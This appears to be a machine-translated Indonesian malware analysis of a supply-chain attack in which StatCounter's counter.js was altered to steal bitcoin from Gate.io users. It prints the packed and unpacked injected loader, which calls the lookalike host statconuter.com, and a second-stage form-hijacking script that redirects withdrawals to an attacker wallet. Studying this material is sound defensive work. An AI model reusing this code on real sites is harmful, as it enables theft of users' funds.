Pada 4 November, penyerang berkompromi dengan StatCounter, sebuah platform untuk menganalisis lalu lintas web. Layanan ini digunakan untuk mengumpulkan statistik tentang pengunjung situs, kira-kira seperti Google Analytics. Untuk melakukan ini, webmaster menambahkan tag JavaScript eksternal ke setiap halaman situs yang berisi sepotong kode StatCounter -
www.statcounter [.] Com / counter / counter.js. Menggunakan StatCounter, penyerang dapat menyuntikkan kode JavaScript ke semua situs menggunakan platform ini. Namun, tujuan serangan itu adalah satu sumber daya - pertukaran cryptocurrency Gate.io.
Menurut
data sendiri, StatCounter memiliki lebih dari dua juta situs yang berpartisipasi, ia mengumpulkan statistik pada lebih dari 10 miliar tampilan halaman web per bulan. Peringkat Alexa-nya hanya di atas 5.000 (untuk perbandingan, situs resmi Debian Linux, debian.org, memiliki peringkat yang sebanding).

Para penyerang memodifikasi skrip di
www.statcounter [.] Com / counter / counter.js, menambahkan sepotong kode berbahaya yang ditunjukkan dalam formulir di bawah di tengah skrip. Ini tidak biasa karena kode jahat sering ditambahkan ke awal atau akhir file yang sah. Kode di tengah skrip yang ada lebih sulit untuk diperhatikan jika Anda tidak membacanya.
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
Script dibuat menggunakan bungkus Dean Edwards, mungkin pembungkus JavaScript paling populer. Namun, Anda cukup mengekstraknya, yang akan menyebabkan kode skrip berjalan, seperti yang ditunjukkan di bawah ini.
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
Potongan kode memeriksa untuk melihat apakah URL tersebut mengandung
akun / Unified Resource Identifier (URI)
Unaccount / withdraw / BTC . Berdasarkan ini, kita dapat menyimpulkan bahwa target para penyerang adalah platform Bitcoin. Setelah menemukan yang diinginkan, skrip menambahkan elemen skrip baru ke halaman web, menyematkan kode
www.statconuter [.] Com / c.php.
Harap dicatat bahwa penyerang mendaftarkan domain yang sangat mirip dengan StatCounter yang sah. Perbedaan dalam dua huruf - sulit untuk diperhatikan ketika melihat majalah untuk aktivitas yang mencurigakan. By the way, memeriksa DNS pasif dari domain, kami menemukan bahwa pada 2010 itu diblokir karena pelanggaran operasional.

Sekali lagi, skrip menargetkan pengidentifikasi spesifik (URI):
myaccount / withdraw / BTC . Pada saat penulisan ini, di antara semua pertukaran cryptocurrency, hanya Gate.io yang memiliki halaman valid dengan URI ini. Tampaknya pertukaran khusus ini adalah target serangan. Situs ini cukup populer: peringkat Alexa-nya adalah 26.251, dan peringkatnya di Cina adalah 8.308.

Selain itu, menurut coinmarketcap.com, beberapa juta dolar melewati setiap hari melalui platform ini, termasuk $ 1,6 juta dalam bentuk bitcoin. Secara umum, minat penyerang pada Gate.io mudah untuk dijelaskan.

Halaman web
www.gate [.] Io / myaccount / withdraw / BTC (lihat di bawah) digunakan untuk mentransfer bitcoin dari akun di gate.io ke alamat eksternal.

Payload tahap kedua dengan statconuter [.] Com / c.php dirancang untuk mencuri bitcoin. Script, juga dikemas menggunakan Dean Edwards, tertanam di halaman web untuk menerjemahkan bitcoin ke Gate.io. Versi tanpa kemasan di bawah.
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
Halaman Gate.io yang sah memiliki fungsi
doSubmit
yang dipanggil saat pengguna mengklik tombol kirim. Dalam kasus kami, para penyerang mengubahnya.
Skrip berbahaya secara otomatis mengganti alamat dompet bitcoin pengguna dengan alamat milik penyerang, misalnya,
1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
. Server penyerang menghasilkan alamat baru setiap kali pengunjung mengunduh skrip statconuter [.] Com / c.php.
Skrip menggunakan jumlah yang dimasukkan oleh korban (jika korban mentransfer lebih dari sepuluh bitcoin) atau batas harian untuk menghapus cryptocurrency dari akun. Di akun pengujian kami, batas penghapusan ditetapkan ke 100 BTC. Akhirnya, skrip mengirimkan formulir yang mentransfer dana dari akun korban ke alamat dompet penyerang.
Pengalihan dana mungkin dibuat tanpa terlihat untuk para korban, karena dompet diubah setelah mengklik tombol "Kirim". Ini terjadi sangat cepat dan tanpa tampilan visual.
Alamat bitcoin baru dari penjahat dunia maya dihasilkan setiap kali skrip berbahaya diminta, jadi kami tidak dapat memperkirakan penghasilan mereka. Jika Anda memeriksa alamat yang kami gunakan pada mesin uji, keseimbangannya adalah nol.

Kesimpulan
Kami tidak tahu berapa banyak bitcoin yang dicuri selama serangan ini. Namun, insiden tersebut menunjukkan bagaimana penyerang dapat bertindak untuk menyerang sumber daya tertentu, khususnya, pertukaran mata uang kripto. Untuk mencuri bitcoin dari pengguna satu pertukaran, mereka mengkompromikan platform analitik yang digunakan jutaan situs web, termasuk beberapa situs pemerintah.
Selain itu, ini menunjukkan bahwa bahkan jika situs Anda diperbarui dan dilindungi secara andal, masih rentan terhadap serangan melalui sumber daya pihak ketiga. Pengingat lain bahwa kode JavaScript eksternal pihak ketiga dapat berubah setiap saat tanpa pemberitahuan.
Kami memperingatkan StatCounter dan Gate.io tentang aktivitas jahat.
Indikator kompromi
URL berbahaya•
www.statcounter [.] Com / counter / counter.js
•
www.statconuter [.] Com / c.php